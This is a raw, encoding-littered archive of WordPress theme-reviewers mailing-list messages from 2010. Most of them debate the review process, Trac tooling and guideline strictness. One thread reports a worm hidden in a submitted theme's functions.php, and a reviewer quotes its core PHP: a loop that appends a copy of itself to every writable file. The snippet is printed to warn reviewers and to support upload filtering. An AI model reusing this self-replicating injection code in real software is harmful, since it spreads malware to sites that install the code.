text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Here I am reading 12 pages of print for this thread. These digital Jenga to= wers of replies hurt my head so I went old school and printed the whole thr= ead (*grin*).

From what I can gather there is a perceived personal r= ejection being experienced by theme authors submitting their works to the r= epository and subsequently receiving notice of their theme not meeting the = criteria currently laid out on the Theme Review page. This is truly unfortu= nate if that is the case, but in no way is that the intent. I have had almo= st all of my themes "rejected" at one point or another but I also= recognized this was due to the code used, not because I have long hair ...= although after shaving my head my themes automagically appeared in the rep= ository (just kidding) ... I re-worked them and with some help was able to = get them into the repository.

My understanding of the current Trac system and the submission process = being used essentially only allows for this method of "not-accepted&qu= ot; or "suggest-approval" resolutions. Perhaps more resolution op= tions would be useful the "needs additional review" option was ju= st added, I'm sure more could be added as easily. All that is needed is= the appropriate Trac permissions.

Do we need better communication of the issues a theme is presenting in = regards to the current Theme Review guidelines and processes? Yes, I agree.= Does that mean we need to write novellas for comments on each theme that d= oes not initially pass to explain would could easily be 10 or more issues n= ot considering any minor concerns? Here I disagree, but there is always roo= m for improvement and now two plus months into this its nice to see contruc= tive criticisms being made ... and additional offers of help. I just hope y= ou are installing sideboards on your plate because I feel confident we can = fill it up without too much trouble (and I'm not just kidding).

If you would like to see "no rejections" then I suggest findi= ng a way to address themes, and their updates via the current infrastructur= e. Each theme resides in its own SVN similar to the plugins repository, imp= lement a similar method. This will allow authors to update their themes wit= hout submitting multiple times until they want a new specific version numbe= r implemented. The theme review team can help sort out any issues and once = the theme reaches a point acceptable for inclusion into the repository it c= an be marked "Approved" and we carry on.

Of course, the current Trac ticket system help maintain an order and qu= eue for review and consideration, I would expect this to be part of the &qu= ot;new" methods!

I also have to comment on the continued re-sub= mission of themes with issues previously noted and still not corrected. We = can lead the theme authors to the Theme Review page, but we cannot make the= m read it. As a team we would be more than happy to help them better addres= s issues with their themes, but I also believe it is only fair of the team = to expect the authors to are least read the Theme Review page and if they d= o not understand a section, point, function usage et cetera then they are f= ree to contact the mailing list.

I also agree with the idea making sure they are aware of the IRC channe= l #wp-themes for assistance as well.

I see this as an ever evolving = process and always welcome input, especially from those that can look at th= e system from a fresh set of eyes; and, Otto, with access to tools, and ski= llsets, we can put to use.

Now as I close this reply, I did read the explanation of the "expe= rience" by Otto working under Matt's name and suspected that was t= he theme in question. I have a better understanding of what was written (ab= ove). As much as we are being asked to communicate to the authors we are at= the same disadvantage of the authors not communicating back to the team in= most cases as well.

Your input from these emails is likely the most we have seen from anyon= e (pseudo-)author, it would be a great boon to see similar input from other= authors. Also adding some way for that communication to be part of the the= me "ticket", for lack of a better term at the moment, and somethi= ng going back to the reviewer or team as a whole as well so it can be follo= wed up on.

Most of the process at the moment has a very manual feel about it, espe= cially the communication part ... not that the personal touch should not be= applied but a great deal of information could be transmitted via automated= methods. For example, updating and increasing the items checked at upload;= then making sure more verbose and explanatory reasons and examples are pro= vided to help theme authors to understand why the theme did not pass the up= load checks would go a long way to helping the process.


Cais.

PS: A lot longer than I thought it would be, but there= was a lot to read, digest, and reply to ... if I missed something feel fre= e to let me know. EAC




On Wed,= Aug 25, 2010 at 12:52 PM, Chip Bennett <chip at chipbennett.net> wrote:
On Wed, Aug 25, 2010 at 11:30 AM, Otto <ot= to at ottodestruct.com> wrote:
On Wed, Aug 25, 2010 at 11:15 AM, Chip Bennett <chip at chipbennett.net> wrote:<= br> > Semantics. We're not "rejecting" a Theme (or its develop= er); we're
> suggesting that a Theme *as submitted* not be approved for inclusion i= n the
> repository.

In other words, "go away, we don't want you to be a part of = our community".

If you'r= e saying that's what the Theme developer is *inferring*, then fair enou= gh: let's fix it so that they get the proper inference. Because that= 9;s certainly not what a "not-accepted" Theme review is *implying= *.=A0

Not allowing somebody into wordpress.org is rejection in every sense
of the term. It's a rejection of their theme, a rejection of their
code, and a rejection of that person.

> We have a very limited implementation of Trac to work with.

Just tell me what you need the tools to do in order to make this work= ,
and we'll try to work together towards making the tools do what they need to do. I'm a programmer, I can do that sort of thing.

Probably summarized elsewhere and throughout,= but I'm sure we can come up with a full list, if need be:

1) a way to keep a Theme associated with a given ticket, all the= way through final approval
2) a way for Theme developers to upda= te and resubmit directly to their SVN directory, rather than continually th= rough the uploader, for any given revision/Trac ticket.
3) more appropriate resolution options, to allow the back-and-forth to= take place within one single ticket.=A0

> You'll have to ask Cais for exact details, but what you're ask= ing for, I
> believe, would require a LOT of manual intervention in order to make i= t
> work.

Then let's do that intervention. This process simply does not wor= k as
it stands, and if we need to change it, then that's fine. But before we change it, let's decide on the right way, then change it to do it that way.

That manual interventio= n would probably be asking way too much (Cais?). So, let's focus on imp= roving the process.=A0

> If you can have some influence in improving our ability to take advant= age of
> Trac, then I think every one of us would be supportive of and grateful= for
> that improvement.
> For example:
> 1) Find a way to link new revisions to the already open Ticket for a g= iven
> Theme
> 2) Add new options for ticket resolution, such as "needs further = revision"
> or whatever
> Every one of us, I believe, would LOVE such improvements.

Done. I'll put those on the list.

> We have to balance. I like to give very thorough reviews. But, if a Th= eme
> has been submitted 2,3,4 or more times and *still* fails the review, t= hen
> IMO it is clear that the Theme developer isn't making the effort t= o ensure
> that the Theme meets the Guidelines. We don't want to incentivize = such
> behavior.

Also understand that it might also be an indication that the theme author is not understanding the purpose or reason for some of the
feedback he's being given. If we are going to be looking at themes for<= br> some set of predefined things to be there, then we should have a well
written and highly verbose explanation of why we think it should be
there that should be given to the author directly, every single time.

More than a sentence. Somebody lacking "body_class" should get th= ree
or four paragraphs on why it's a good idea to use it.
<= div>
I disagree. Link to the Codex references, and impr= ove the Codex entries if need be.

I suppose we can= draft boilerplate text for each function/tag/hook, if need be, to put in a= Trac ticket comment. If that is the best use of my time, for the better of= the Theme developer community, then I'd be happy to work on that.=A0

In my experience, most people *can't* educate themselves from mere
documentation. You do have to hold their hand through it. Once they
get over that initial learning curve problem, *then* you can let them
go on their own. But you never get anybody to improve until you guide
them *really* well through those first steps.

If the Codex isn't written well enough to be a useful educ= ational tool, then we need to look at improving the Codex. But reinventing = that wheel with each and every Theme review would not be useful.

> But, again: Trac
> is a mostly foreign concept to a lot of Theme developers. Not only are= we
> having to educate them regarding new review Guidelines, but we're = also
> having to educate on how to make use of the Trac system, and the ticke= ts
> generated for their Theme submissions.

Okay. Then let's dump trac.

Or let's put a new face on trac to make it easier.

Or *something*. I don't claim to know what would work, and I don't<= br> claim to know all the answers. I just know that it doesn't work now, and I'm willing to help in changing to make it better. Because it
*has* to get better, somehow.

So = let's make it better! Tell us what our options are, to improve the syst= em with which we are working. Trac is pretty powerful. Help us make better = use of it.=A0

> As for helping Theme developers understand why certain criteria are > required: we've been working very hard on improving the Theme Revi= ew Codex
> page, to make it more clear, understandable, and concise. We've ad= ded Codex
> cross-references for darn-near everything. It is not too much to expec= t
> Theme developers to keep abreast of the information available in the C= odex,
> especially regarding standard WordPress features, functions, tags, and=
> hooks. We're doing everything we can to point them in the right di= rection.

I do appreciate and understand this, and don't want anybody to ta= ke it
as criticism of them. I'm being critical of the process here, not the people.

> Have you actually "experienced" it? Have you reviewed a Them= e? Have you
> submitted a Theme for review?

Yes. You reviewed one of them. You may not have known it was me, as i= t
wasn't under my name. :)

And = if you have any feedback or constructive criticism of my review, I'd lo= ve to hear it - on the mail list, or to me personally: I have no preference= . I'm sure my own reviews can be improved, and others may benefit from = that feedback also. So please: give me your honest opinion.=A0

> Agreed, regarding eventual approval. If we can make that process easie= r for
> both the Theme developers and the review team, then by all means, let&= #39;s do
> it.
> But just because the *process* has issues, doesn't mean that the G= uidelines
> aren't sound.

I think that some of the guidelines are a problem in that they are being used as cause for rejection when they should not be, however I
also have an issue with the main idea of "rejection" itself. You = may
not think of it as actual literal rejection, but it very much seems
that way to the outsider.

So let'= s drop the use of the term "reject" with respect to reviews of su= bmitted Themes. Help us implement a system in which our only option is &quo= t;suggest approval" or 'suggest not-approval" (reject). If we= 're giving the impression that we're "rejecting" communit= y contributions, then we need to fix that impression.

Chip=A0

_______________________________________________
theme-reviewers mailing list
theme-reviewers at list= s.wordpress.org
http://lists.wordpress.org/mailman/listinfo/theme-reviewers<= /a>


--0016364578dcbba79c048eab53da-- From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID: 1) Individuals can have their priviliges adjusted 2) Keywords are assoicated with the reports being used/generated 3) It will likely fall to Joseph or Otto to adjust Trac setting if the need continues Cais On Thu, Sep 2, 2010 at 4:04 PM, Chip Bennett wrote: > We definitely have (a very small, confined - so far) issue with some rogue > Trac users, who are assigning themselves tickets for their own Themes, > changing ticket keywords, and accepting tickets without subjecting the Theme > to a full review and approval. > > Here's what I would suggest: > > 1) Trac users cannot assign themselves their own tickets (this should be > enforceable through Trac, hopefully once Otto fixes associating tickets with > actual Trac usernames, rather than "themetracbot") > > 2) keywords can only be modified by admins (we don't need to be modifying > these ourselves anyway, do we?) > > 3) Trac users who abuse the system need to be censured in some manner, from > suspending the Trac username, to blocking the user from uploading Themes > (for egregious offenders), or whatever. This will all depend on what > recourse is available through the Trac system. So that's a question for > Joseph/Pross/Ian/etc. I think. > > Chip > > _______________________________________________ > theme-reviewers mailing list > theme-reviewers at lists.wordpress.org > http://lists.wordpress.org/mailman/listinfo/theme-reviewers > > --00163645831236eaf9048f4c6f97 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID: adjusted

2) Keywords are assoicated with the reports being used/gene= rated

3) It will likely fall to Joseph or Otto to adjust Trac settin= g if the need continues


Cais

On Thu, Sep 2, 2010 at 4:04 = PM, Chip Bennett <chip at chipbennett.net> wrote:
We definitely have (a very small, confined - so far) issue with some rogue = Trac users, who are assigning themselves tickets for their own Themes, chan= ging ticket keywords, and accepting tickets without subjecting the Theme to= a full review and approval.

Here's what I would suggest:

1)= Trac users cannot assign themselves their own tickets (this should be enfo= rceable through Trac, hopefully once Otto fixes associating tickets with ac= tual Trac usernames, rather than "themetracbot")

2) keywords can only be modified by admins (we don'= t need to be modifying these ourselves anyway, do we?)

=
3) Trac users who abuse the system need to be censured in some manner,= from suspending the Trac username, to blocking the user from uploading The= mes (for egregious offenders), or whatever. This will all depend on what re= course is available through the Trac system. So that's a question for J= oseph/Pross/Ian/etc. I think.

Chip

_______________________________________________
theme-reviewers mailing list
theme-reviewers at list= s.wordpress.org
http://lists.wordpress.org/mailman/listinfo/theme-reviewers<= /a>


--00163645831236eaf9048f4c6f97-- From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID: foreach ($direst as $item){ if (is_writable($item)){ For every one it finds to be writable, it injects itself into the file like this: $cont=3Dfile_get_contents($item); if (stripos($cont,$ftion) =3D=3D=3D false){ $explar=3Dstripos( substr($cont,-20),"?".">") !=3D=3D false ? "" : "?".">"= ; $output .=3D $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !=3D=3D false){$cont=3Dsubstr($cont,0,strripos($cont,"?".">") + 2);} $output=3Drtrim($output, "\n\t"); fputs($f=3Dfopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f); $output .=3D ($showdots && $ellipsis) ? "..." : ""; } A lot of that is smokescreen, the line that counts is this one: fputs($f=3Dfopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f); = =09 The fputs writes to the file. The $widget contains a copy of itself. Everything else in there, all that SQL and crap: all smokescreen. None of it does anything. -Otto On Fri, Sep 3, 2010 at 8:58 AM, Chip Bennett wrote: > Can you and Chris put together some kind of lesson for the rest of us? So= rt > of a "watch out for this kind of thing" that we can learn from? > (I found the second one before you got it pulled from SVN; so at least I = can > look at it in the meantime.) > Chip > > On Fri, Sep 3, 2010 at 8:56 AM, Otto wrote: >> >> Actually, I went ahead and removed them from SVN because we don't need >> malware of that sort in there. >> >> But if you want a copy, I did save the bad functions.php file, just >> for examination later. We may be able to detect this sort of thing in >> the uploader and prevent it from uploading. >> >> -Otto >> >> >> >> On Fri, Sep 3, 2010 at 8:50 AM, Chip Bennett wrot= e: >> > I'll have to take a look at those tickets. >> > Good learning opportunity for the reviewers? (Or an example of why >> > security >> > gurus are needed, for a security-review stage of the process?) >> > Chip >> > >> > On Fri, Sep 3, 2010 at 8:45 AM, Otto wrote: >> >> >> >> Never mind. I see it. It's in the functions.php file, disguised. >> >> Clever. >> >> >> >> -Otto >> >> >> >> >> >> >> >> On Fri, Sep 3, 2010 at 8:42 AM, Otto wrote: >> >> > I'm looking at it now.. Where's the worm? Not finding it. >> >> > >> >> > -Otto >> >> > >> >> > >> >> > >> >> > On Fri, Sep 3, 2010 at 8:07 AM, Chris wrot= e: >> >> >> Tickets #870 and #873 >> >> >> >> >> >> >> >> >> >> >> >> Von: theme-reviewers-bounces at lists.wordpress.org >> >> >> [mailto:theme-reviewers-bounces at lists.wordpress.org] Im Auftrag vo= n >> >> >> Edward >> >> >> Caissie >> >> >> Gesendet: Freitag, 3. September 2010 14:47 >> >> >> >> >> >> An: theme-reviewers at lists.wordpress.org >> >> >> Betreff: Re: [theme-reviewers] Emergency Call >> >> >> >> >> >> >> >> >> >> >> >> SVN is a forever land ... without intervention by a "System Admin" >> >> >> as >> >> >> far as >> >> >> I know. >> >> >> >> >> >> We can keep it out of Extend/Themes easy enough but beyond that we >> >> >> do >> >> >> not >> >> >> have much control. >> >> >> >> >> >> What tickets/themes are you refering to? >> >> >> >> >> >> >> >> >> Cais. >> >> >> >> >> >> On Fri, Sep 3, 2010 at 7:08 AM, Chris >> >> >> wrote: >> >> >> >> >> >> Indeed .. infecting all installed themes of a blog. >> >> >> >> >> >> >> >> >> >> >> >> Von: theme-reviewers-bounces at lists.wordpress.org >> >> >> [mailto:theme-reviewers-bounces at lists.wordpress.org] Im Auftrag vo= n >> >> >> Philip >> >> >> M. Hofer (Frumph) >> >> >> Gesendet: Freitag, 3. September 2010 13:00 >> >> >> An: theme-reviewers at lists.wordpress.org >> >> >> Betreff: Re: [theme-reviewers] Emergency Call >> >> >> >> >> >> >> >> >> >> >> >> Oh fricken lovely. >> >> >> >> >> >> ----- Original Message ----- >> >> >> >> >> >> From: Chris >> >> >> >> >> >> To: theme-reviewers at lists.wordpress.org >> >> >> >> >> >> Sent: Friday, September 03, 2010 3:55 AM >> >> >> >> >> >> Subject: [theme-reviewers] Emergency Call >> >> >> >> >> >> >> >> >> >> >> >> Hi, >> >> >> >> >> >> >> >> >> >> >> >> -=A0=A0=A0=A0=A0=A0=A0=A0=A0 who is able to remove / delete / nuke= two themes from the >> >> >> SVN?? >> >> >> >> >> >> -=A0=A0=A0=A0=A0=A0=A0=A0=A0 Who is in charge of the the scripts r= unning right after >> >> >> theme >> >> >> upload?? >> >> >> >> >> >> >> >> >> >> >> >> Had an encounter with not so clean themes .. the themes are >> >> >> rejected, >> >> >> but >> >> >> need to be removed from the SVN as soon as possible. >> >> >> >> >> >> >> >> >> >> >> >> In addition I would like to see the upload script filtering for a >> >> >> not >> >> >> so >> >> >> nice wormy gift. >> >> >> >> >> >> >> >> >> >> >> >> Thanks, >> >> >> >> >> >> >> >> >> >> >> >> Chris >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> ________________________________ >> >> >> >> >> >> _______________________________________________ >> >> >> theme-reviewers mailing list >> >> >> theme-reviewers at lists.wordpress.org >> >> >> http://lists.wordpress.org/mailman/listinfo/theme-reviewers >> >> >> >> >> >> _______________________________________________ >> >> >> theme-reviewers mailing list >> >> >> theme-reviewers at lists.wordpress.org >> >> >> http://lists.wordpress.org/mailman/listinfo/theme-reviewers >> >> >> >> >> >> >> >> >> >> >> >> _______________________________________________ >> >> >> theme-reviewers mailing list >> >> >> theme-reviewers at lists.wordpress.org >> >> >> http://lists.wordpress.org/mailman/listinfo/theme-reviewers >> >> >> >> >> >> >> >> > >> >> _______________________________________________ >> >> theme-reviewers mailing list >> >> theme-reviewers at lists.wordpress.org >> >> http://lists.wordpress.org/mailman/listinfo/theme-reviewers >> > >> > >> > _______________________________________________ >> > theme-reviewers mailing list >> > theme-reviewers at lists.wordpress.org >> > http://lists.wordpress.org/mailman/listinfo/theme-reviewers >> > >> > >> _______________________________________________ >> theme-reviewers mailing list >> theme-reviewers at lists.wordpress.org >> http://lists.wordpress.org/mailman/listinfo/theme-reviewers > > > _______________________________________________ > theme-reviewers mailing list > theme-reviewers at lists.wordpress.org > http://lists.wordpress.org/mailman/listinfo/theme-reviewers > > From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID: It will become incredibly onerous on the Theme Reviewers to keep track of which deprecated functions are *deprecated enough* not to allow, versus those that are *just sorta kinda deprecated*, and are still allowed. If a function is deprecated, and a viable alternative exists, there is no reason not to require the supported function to be used. Of course, if no viable alternative exists, then the deprecated function should still be allowed. (I don't know if any such case exists, though.) Chip On Sun, Sep 12, 2010 at 5:14 PM, Chris wrote: > Andrew, are there any deprecated calls that should not be used at all in > current themes? > > > > *Von:* theme-reviewers-bounces at lists.wordpress.org [mailto: > theme-reviewers-bounces at lists.wordpress.org] *Im Auftrag von *Andrew Nacin > *Gesendet:* Sonntag, 12. September 2010 20:40 > > *An:* theme-reviewers at lists.wordpress.org > *Betreff:* Re: [theme-reviewers] My First Suggest-Approval *sniff* > > > > On Sun, Sep 12, 2010 at 2:23 PM, Chip Bennett > wrote: > > So, you're single, greatest complaint with the guidelines is that we > require no deprecated WP function calls, and no PHP errors? > > > > You asked for a specific example, not my single, greatest complaint. For > that, look no further than opinions backed by expertise being rejected out > of hand. > > _______________________________________________ > theme-reviewers mailing list > theme-reviewers at lists.wordpress.org > http://lists.wordpress.org/mailman/listinfo/theme-reviewers > > --0016e6db2f93985bc70490175a90 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID: div>
It will become incredibly onerous on the Theme Reviewers to keep t= rack of which deprecated functions are deprecated enough not to allo= w, versus those that are just sorta kinda deprecated, and are still = allowed.

If a function is deprecated, and a viable alternative e= xists, there is no reason not to require the supported function to be used.= Of course, if no viable alternative exists, then the deprecated function s= hould still be allowed. (I don't know if any such case exists, though.)=

Chip

On Sun, Sep 12, = 2010 at 5:14 PM, Chris <chris at thematic4you.com> wrote:

Andrew, =A0are there any deprecated calls that should not be used at all in current themes?

=A0

Von:<= span style=3D"font-size:10.0pt"> theme-reviewers-bounces at lists.wordpr= ess.org [mailto:theme-reviewers-bounces at lists.wordpress.org] Im Auftra= g von Andrew Nacin
Gesendet: Sonntag, 12. September 2010 20:40


An: theme-reviewers at lists.wordpress.org
Betreff: Re: [theme-reviewers] My First Suggest-Approval *sniff*

=A0

On Sun, Sep 12, 2010 at 2:23 PM, Chip Bennett <chip at chipbennett.ne= t> wrote:

So, you're single, greatest complaint with the g= uidelines is that we require no deprecated WP function calls, and no PHP errors?

=A0

You asked for a specific example, not my single, gre= atest complaint. For that, look no further than opinions backed by expertise bein= g rejected out of hand.


_______________________________________________
theme-reviewers mailing list
theme-reviewers at list= s.wordpress.org
http://lists.wordpress.org/mailman/listinfo/theme-reviewers<= /a>


--0016e6db2f93985bc70490175a90-- From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID: That comment by ionfish was made six weeks ago as well, and also I admit to only reading it this morning, but that is another issue that has recently been sorted out by comment notifications now going out when made on any ticket. Be that as it may, the author himself did not appear to have concerns regarding those points only to indicate they really are not apparently all that interested in WP development these days as they are "just maintaining the theme since so many people use it". Frumph just recently added more cursory points to that particular ticket indicating there are (and often is the case) additional items to be addressed by the theme author. The Theme Reviewers are not Theme testers ye= t we are treated as such by the community. We do not go through themes with a "fine-tooth comb" looking for issues if enough apparent issues present themselves with a cursory review. It is entirely and wholly the responsibility of the theme authors and developers to insure their themes meet or exceed the guidelines and standards as they are written on the Them= e Review page and related pages found in the WordPress codex. As Chip Bennett wrote: '... the term "reject". It is inaccurate and needlessly inflammatory. We are not "rejecting" anything. We're simply pointing out things that need to be fixed before "approving" something." ..= . and this is exactly the case. We have several resolutions that can be used and perhaps their wording carries an unwanted connotative meaning but essentially the "not-accepted" resolution that everyone appears to be suck on simply means the theme needs some sort of corrective measures to be take= n to meet the Theme Review criteria and be approved for the Theme repository. We can ignore the criteria, and some reviewers have and do, this is not an acceptable method of continuing with the Theme Review process. If this haphazard, willy-nilly, waffles served with fresh butter and warm syrup approach becomes the expected method to be followed then the demotivating o= f the Theme Review team's most prolific reviewer as well as the one with the most keen eye for potential and existing issues will be only a beginning of the exodus of volunteers for this task. This ticket (noted above) and review, which I was the Theme Reviewer involved, and this thread only serves as yet another example of the lack of support the Theme Review Team is receiving from Automattic/WPROG and the community (please note it is not directed at the Tarski theme itself, it just happened to be a lynch-pin for the matter). The Theme Review Team is expected to be self-directing and thus self-motivating, but the continued non-supportive influences of those perceived to speak with an official capacity makes for a very arduous and somewhat non-rewarding experience for all involved ... the Theme authors an= d developers, the Theme Review Team, and the community. Cais On Fri, Sep 24, 2010 at 6:06 AM, Chip Bennett wrote: > First: eliminate the use of the term "reject". It is inaccurate and > needlessly inflammatory. We're not "rejecting" anything. We're simply > pointing out things that need to be fixed before *approving* something. > We've been over this before. > > Secondly, I second what Phil has said. > > We've been told to self-direct the Theme Review process, and we have done > so. At this point, I *expect* to be supported by those who have told us t= o > self-direct. > > We have defined the guidelines; they are good guidelines. You and others > appear to have wholesale disagreement with the guidelines (or, at least > parts - such as PHP notices and deprecated functions), and at this point,= I > couldn't care less. Such disagreement is noise and a distraction. > > We are requiring no PHP notices, and no deprecated functions. Period. > Personally, I'm done debating this point. > > Nacin, you should be supporting the Theme Reviewer in this instance, not > cutting out his legs from underneath him. It is this very sort of behavio= r > that leads to an utter lack of motivation to continue performing Theme > reviews. > > Chip > > On Fri, Sep 24, 2010 at 4:04 AM, Andrew Nacin wrote: > >> On Fri, Sep 24, 2010 at 4:50 AM, Philip M. Hofer (Frumph) < >> philip at frumph.net> wrote: >> >>> Furthermore let's talk about ionfish how he has functions calling hooks >>> instead of just embedding the hook in the location used .. erm.. why? = .. >>> yeah I would call that unneeded unnecessary coding. >> >> >> We're rejecting quality, extremely well coded themes on narrow technical >> grounds. It's not even a new theme. It's a minor update to a long-time >> existing one that is terrifically coded and wildly popular; it's a step = in >> the right direction. This kind of rejection goes against the primary goa= ls >> of the theme reviews. I see no reason why this theme update should not b= e >> approved. Not on the basis of it being rejected initially, not on a curs= ory >> review of the codebase, and not on this email, either. >> >> _______________________________________________ >> theme-reviewers mailing list >> theme-reviewers at lists.wordpress.org >> http://lists.wordpress.org/mailman/listinfo/theme-reviewers >> >> > > _______________________________________________ > theme-reviewers mailing list > theme-reviewers at lists.wordpress.org > http://lists.wordpress.org/mailman/listinfo/theme-reviewers > > --000325559d1663a07b049100fd60 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable First off (@Demetris), this thread is about a theme that was reviewed and r= esolved as "not-accepted" six weeks ago ... the author himself di= d not even address the points you are just now bringing forward. All they h= ad to say was:

> Why? It's data, not code. Have WP hooks improved to the point = where sensible actions can be performed when a theme is installed or remove= d? If so, then I'm happy to add in some cleanup routines=97I don't = really do much WP development these days, I'm just maintaining the them= e since so many people use it.
>
> The atom file is a cached version of
http://tarskitheme.com/version.atom, so that th= e admin panel isn't slowed down by phoning home on every request. It= 9;s documented here: http:= //tarskitheme.com/help/updates/.

From the Trac ticket: http://themes.trac.wordpress.org/ticket/631

That comment = by ionfish was made six weeks ago as well, and also I admit to only reading= it this morning, but that is another issue that has recently been sorted o= ut by comment notifications now going out when made on any ticket. Be that = as it may, the author himself did not appear to have concerns regarding tho= se points only to indicate they really are not apparently all that interest= ed in WP development these days as they are "just maintaining the them= e since so many people use it".

Frumph just recently added more cursory points to that particular ticke= t indicating there are (and often is the case) additional items to be addre= ssed by the theme author. The Theme Reviewers are not Theme testers yet we = are treated as such by the community. We do not go through themes with a &q= uot;fine-tooth comb" looking for issues if enough apparent issues pres= ent themselves with a cursory review. It is entirely and wholly the respons= ibility of the theme authors and developers to insure their themes meet or = exceed the guidelines and standards as they are written on the Theme Review= page and related pages found in the WordPress codex.

As Chip Bennett wrote: '... the term "reject". It is inac= curate and needlessly inflammatory. We are not "rejecting" anythi= ng. We're simply pointing out things that need to be fixed before "= ;approving" something." ... and this is exactly the case. We have= several resolutions that can be used and perhaps their wording carries an = unwanted connotative meaning but essentially the "not-accepted" r= esolution that everyone appears to be suck on simply means the theme needs = some sort of corrective measures to be taken to meet the Theme Review crite= ria and be approved for the Theme repository.

We can ignore the criteria, and some reviewers have and do, this is not= an acceptable method of continuing with the Theme Review process. If this = haphazard, willy-nilly, waffles served with fresh butter and warm syrup app= roach becomes the expected method to be followed then the demotivating of t= he Theme Review team's most prolific reviewer as well as the one with t= he most keen eye for potential and existing issues will be only a beginning= of the exodus of volunteers for this task.

This ticket (noted above) and review, which I was the Theme Reviewer in= volved, and this thread only serves as yet another example of the lack of s= upport the Theme Review Team is receiving from Automattic/WPROG and the com= munity (please note it is not directed at the Tarski theme itself, it just = happened to be a lynch-pin for the matter).

The Theme Review Team is expected to be self-directing and thus self-mo= tivating, but the continued non-supportive influences of those perceived to= speak with an official capacity makes for a very arduous and somewhat non-= rewarding experience for all involved ... the Theme authors and developers,= the Theme Review Team, and the community.


Cais






On Fri, = Sep 24, 2010 at 6:06 AM, Chip Bennett <chip at chipbennett.net> wrote:
First: eliminate the use of the term "reject". It is inaccurate a= nd needlessly inflammatory. We're not "rejecting" anything. W= e're simply pointing out things that need to be fixed before *approving= * something. We've been over this before.

Secondly, I second what Phil has said.

<= div>We've been told to self-direct the Theme Review process, and we hav= e done so. At this point, I *expect* to be supported by those who have told= us to self-direct.

We have defined the guidelines; they are good guideline= s. You and others appear to have wholesale disagreement with the guidelines= (or, at least parts - such as PHP notices and deprecated functions), and a= t this point, I couldn't care less. Such disagreement is noise and a di= straction.

We are requiring no PHP notices, and no deprecated func= tions. Period. Personally, I'm done debating this point.

=
Nacin, you should be supporting the Theme Reviewer in this insta= nce, not cutting out his legs from underneath him. It is this very sort of = behavior that leads to an utter lack of motivation to continue performing T= heme reviews.

Chip

<= /div>
On Fri, Sep 24, 2010 at 4:04 AM, Andrew Nacin <wp@= andrewnacin.com> wrote:
=
On Fri, Sep 24, 2010 at 4:50 AM, Philip M. Hofer (Frumph) <philip at fru= mph.net> wrote:
Furthermore let's talk about ionfish how he has functions calling hooks= instead of just embedding the hook in the location used .. erm.. why? =A0.= . yeah I would call that unneeded unnecessary coding.=A0

We're rejecting quality, extremely well coded them= es on narrow technical grounds. It's not even a new theme. It's a m= inor update to a long-time existing one that is terrifically coded and wild= ly popular; it's a step in the right direction.=A0This kind of rejectio= n goes against the primary goals of the theme reviews.=A0I see no reason wh= y this theme update should not be approved. Not on the basis of it being re= jected initially, not on a cursory review of the codebase, and not on this = email, either.

_________________________________________= ______
theme-reviewers mailing list
th= eme-reviewers at lists.wordpress.org
http://lists.wordpress.org/mailman/listinfo/theme-reviewers<= /a>



_______________________________________________
theme-reviewers mailing list
theme-reviewers at list= s.wordpress.org
http://lists.wordpress.org/mailman/listinfo/theme-reviewers<= /a>


--000325559d1663a07b049100fd60-- From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID:


Results: for hotmagazine.1.1.zip
style.css errors:Missing bypostauthor css.
Please add .bypostauthor to style.css (Recommendation)

Missing functions:body_class was not found.
*Required*
See: body_class Example: <?php body_class( $class ); ?>

wp_footer was not found.
*Required*
See: wp_footer Example: <?php wp_footer(); ?>

the_post_thumbnail was not found.
*Recemmended*
See: the_post_thumbnail Example: <?php the_post_thumbnail( $size, $attr = ); ?>

comment-reply was not found.
*Required*
See: Migrating Plugins and Themes to 2.7/Enhanced Comment Display Example: = <?php if ( is_singular() ) wp_enqueue_script( "comment-reply" = ); ?>

Post Pagination was not found.
*Required* *previous_posts_link()/next_posts_link() may be used instead* See: posts_nav_link Example: <?php posts_nav_link( 'sep', 'p= relabel', 'nextlabel' ); ?>

On Sat, 02 Oct 2010 22:58:05 +0200, WordPress Themes <
theme-reviewers at list= s.wordpress.org> wrote:

Results: for hotmagazine.1.1.zip
style.css errors:Missing bypostauthor css.
Please add .bypostauthor to style.css (Recommendation)

Missing functions:body_class was not found.
*Required*
See: body_class Example: <?php body_class( $class ); ?>

wp_footer was not found.
*Required*
See: wp_footer Example: <?php wp_footer(); ?>

the_post_thumbnail was not found.
*Recemmended*
See: the_post_thumbnail Example: <?php the_post_thumbnail( $size, $attr = ); ?>

comment-reply was not found.
*Required*
See: Migrating Plugins and Themes to 2.7/Enhanced Comment Display Example: = <?php if ( is_singular() ) wp_enqueue_script( "comment-reply" = ); ?>

Post Pagination was not found.
*Required* *previous_posts_link()/next_posts_link() may be used instead* See: posts_nav_link Example: <?php posts_nav_link( 'sep', 'p= relabel', 'nextlabel' ); ?>
#1141: THEME: hotmagazine - 1.1


Regards Bj=F8rn Johansen
---------------------+-----------------------------------------------------= -
=A0Reporter: =A0webmag =A0| =A0 =A0 =A0Owner: =A0cais
